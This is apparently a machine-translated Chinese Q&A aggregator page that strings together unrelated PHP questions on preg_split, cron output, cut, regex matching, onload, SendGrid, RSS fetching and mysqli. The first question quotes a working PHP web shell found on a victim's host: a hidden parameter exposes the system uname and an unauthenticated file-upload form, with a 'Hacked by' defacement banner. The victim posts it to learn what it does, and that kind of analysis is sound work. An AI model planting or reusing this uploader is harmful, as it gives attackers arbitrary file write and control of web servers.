我刚刚在我的托管上发现了一些php文件,在php中有0.01%的知识,有人可以解释一下这段代码的作用吗?
<?php if(isset($_GET["ourzr"])){
echo"<font color=#FFFFFF>[uname]".php_uname()."[/uname]";
echo"<form method=post enctype=multipart/form-data>";
echo"<input type=file name=f><input name=v type=submit id=v value=up><br>";
if($_POST["v"]==up){if(@copy($_FILES["f"]["tmp_name"],$_FILES["f"]["name"])){
echo"<b>berhasil</b>-->".$_FILES["f"]["name"];
}else{
echo"<b>gagal";}
}
}?>
<title>Hacked by d3b~X</title>
<center>
<div id=q>Gantengers Crew<br><font size=2>SultanHaikal - d3b~X - Brian Kamikaze - Coupdegrace - Mdn_newbie - Index Php
<style>
body{overflow:hidden;background-color:black}
#q{font:40px impact;color:white;position:absolute;left:0;right:0;top:43%}
Run Code Online (Sandbox Code Playgroud) 我正在尝试使用preg_split将字符串拆分为问号,感叹号或句号,但我遇到了问题.它不是在问号处分裂,而是在此之前拆分字符串.请看一下我的代码:
<?php
$input = "Why will I have no money? Because I spent it all";
$input = preg_split( "/ (?|.|!) /", $input );
$input = $input[0];
echo $input;
?>
Run Code Online (Sandbox Code Playgroud)
预期成绩:
为什么我没有钱
实际结果:
为什么会
好的,...这是交易。我的服务器上已经有一个关于 cron 作业的 php 文件正在正确地完成它的工作。
我确实通过电子邮件收到了 cron 作业输出……这意味着所有 ECHO 内容都在 cron 运行后发送。
如何使用 PHP 文件在 CRON JOB 上输出新行或换行。这是我的问题。
我做的回声<br>,我甚至尝试\n和\r\n...有没有这样做的正确方法是什么?由于我收到的电子邮件只是一行中的一堆文本。
我应该添加一些标题吗?
我有一行文本文件包含以下内容:
$gVER = "4.027.160921.1";
Run Code Online (Sandbox Code Playgroud)
如何在Linux中使用cut删除double quotes以及最后一个(;),我只想只输入数字值。我已经尝试过的是:
exec( "cat /web/FunctionInit.inc.php | grep gVER | cut -d \"=\" -f2"
Run Code Online (Sandbox Code Playgroud)
当我使用此代码时,结果是:
"4.027.160921.1";
Run Code Online (Sandbox Code Playgroud)
如何double quotes使用cut linux 分隔符和最后一个(;)?
好的,所以我一直致力于从上传的SDS文件中提取CAS编号(在转到pdf之前使用docx).我已成功将docx转换为页面中的字符串,但如果存在,我需要提取几个字符串.这是我正在使用的代码,我认为我根本没用preg_match_all.
$docObj = new DocxConversion($_FILES["sdsFile"]["tmp_name"]);
$docText = $docObj->convertToText();
preg_match_all("/[0-9]{2,7}-[0-9]{2}-[0-9]{1}/", $docText, $matches);
print_r($matches);
Run Code Online (Sandbox Code Playgroud)
这给了我Array ( [0] => Array ( ) ).我正在寻找时不是很有帮助:
输出$docText是:
识别产品标识用于标签:成品产品编号客户产品编号标签描述实际品牌SM5802EE ECHO POWERBLEND X延长寿命油ECHO SMGR33EC 6450005 ECHO电源混合X ECHO SMGR01EC 6450025 ECHO电源混合X ECHO SMGR07EC 6450002 ECHO电源混合X ECHO SM5101EC X6972270101/99988800086回波功率BLEND X ECHO SM5905EC 6450250 ECHO BAR&链条油ECHO SM5818ER 6450114回声功率BLEND X HIGH PERFORMANCE 2冲程发动机ECHO SM5818EG 6450103回声功率BLEND X ECHO SM5238EC 99988800088回声功率BLEND X ECHO SM5218EC X6972270201/99988800085回声功率BLEND X ECHO SMGR25EC X6974100202 ECHO POWER BLEND X ECHO SMGR02EC …
window.onload从我的阅读中听起来像是可以松散地互换,document.onload但我的经验表明这是不正确的.我继承了一个JS脚本,我不知道如何纠正它.我想要在DOM加载后执行JS,而不是在加载所有资源之后执行.我怎样才能做到这一点?
目前我有:
window.onload = initDropMenu;
Run Code Online (Sandbox Code Playgroud)
我试过了:
document.onload = initDropMenu;
Run Code Online (Sandbox Code Playgroud)
这只会导致菜单无法加载.我也尝试从JS中完全删除该行,并让DOM通过以下方式执行:
<body onload="initDropMenu()">
Run Code Online (Sandbox Code Playgroud)
这也导致没有菜单,并且在控制台中没有错误.我的JS知识有限,我在这里缺少什么?
尝试使用Sendgrid的API(在bluemix上运行)发送自动电子邮件.
$sendgrid_username = 'XXXXXXXXX';
$sendgrid_password = 'XXXXXXXXXXXXXXX';
$to = $_SESSION['emailto'];
$from = "XXXXXXXXXXX@XXXX.com";
$sendgrid = new SendGrid($sendgrid_username, $sendgrid_password, array("turn_off_ssl_verification" => true));
$email = new SendGrid\Email();
$email->addTo($to)->
setFrom($from)->
setSubject('Password Reset')->
setHtml("<b>A new password has been set for the user: %mailto%.<br> The new password is: %pass%<br><br></b>")->
addSubstitution("%mailto%", array($_SESSION['emailto']))->
addSubstitution("%pass%", array($random_pass_clear))->
addHeader('X-Sent-Using', 'SendGrid-API')->
addHeader('X-Transport', 'web')->
$response = $sendgrid->send($email); //this is line 21
Run Code Online (Sandbox Code Playgroud)
我使用了Sendgrid的示例代码,一切正常(我发送的电子邮件).但我得到2个错误:
PHP注意:第21行的未定义变量响应
PHP致命错误:无法访问第21行的空属性
我以前从未遇到过第二个错误,我对于发生了什么感到困惑......任何想法都出错了?
我具有以下功能来
在句子中做"exact match"模式($searchPat)($sourceStr)
function isUsed($sourceStr, $searchPat) {
if (strpos($sourceStr, $searchPat) !== false) {
return true;
} else {
return false;
}
}
Run Code Online (Sandbox Code Playgroud)
但是,这并不完全匹配。我按如下方式更改了功能,但这甚至没有执行。
function isUsed($sourceStr, $searchPat) {
if (preg_match("~\b[$sourceStr]\b~", $searchPat)) {
return true;
} else {
return false;
}
}
Run Code Online (Sandbox Code Playgroud)
请问我该怎么做?
我正在尝试从其他站点获取 RSS。file_get_contents除了一个链接给我这个错误之外,它们都可以正常工作:
警告:file_get_contents( http://alwatan.kuwait.tt/rss.ashx ):无法打开流:HTTP 请求失败!HTTP/1.1 463
我下载了所有文件,并且都有:
<rss version="2.0">
Run Code Online (Sandbox Code Playgroud)
但有错误的链接有:
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
Run Code Online (Sandbox Code Playgroud)
这是他们之间唯一的区别。
在共享托管服务器中配置数据库时出现此错误
mysqli_connect(): (28000/1045): 用户 'username'@'localhost' 访问被拒绝(使用密码:YES)
但它在本地主机中正常工作。
<?php
session_start();
if($_SERVER['HTTP_HOST']=="localhost")
{
$serverIp="localhost";
$userName="user1";
$password="XXXXX";
$dbname="example";
}else
{
$serverIp="localhost";
$userName="username";
$password="password";
$dbname="dbname";
}
$cn=mysqli_connect($serverIp,$userName,$password) OR Die("Couldn't Connect - ".mysql_error());
$link=mysql_select_db($dbname,$cn)or Die("Couldn't SELCECT - ".mysql_error());
?>
Run Code Online (Sandbox Code Playgroud) php ×8
regex ×2
cut ×1
dom ×1
email ×1
ibm-cloud ×1
javascript ×1
linux ×1
magento ×1
output ×1
preg-match ×1
preg-split ×1
rss ×1
sendgrid ×1